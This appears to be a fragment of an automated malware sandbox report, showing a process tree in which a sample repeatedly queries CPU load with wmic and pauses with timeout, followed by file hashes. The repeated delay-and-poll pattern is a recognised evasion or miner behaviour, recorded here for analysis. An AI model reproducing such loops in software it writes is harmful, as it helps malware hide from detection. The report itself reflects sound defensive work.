C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4492
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:2892
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1760
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1504
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:2840
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1532
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3232
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:3168
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1984
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1848
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:5008
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4720
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3316
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:3088
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4016
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1264
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:4980
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4824
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4472
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:1636
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:756
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4240
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:1336
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3240
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1040
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82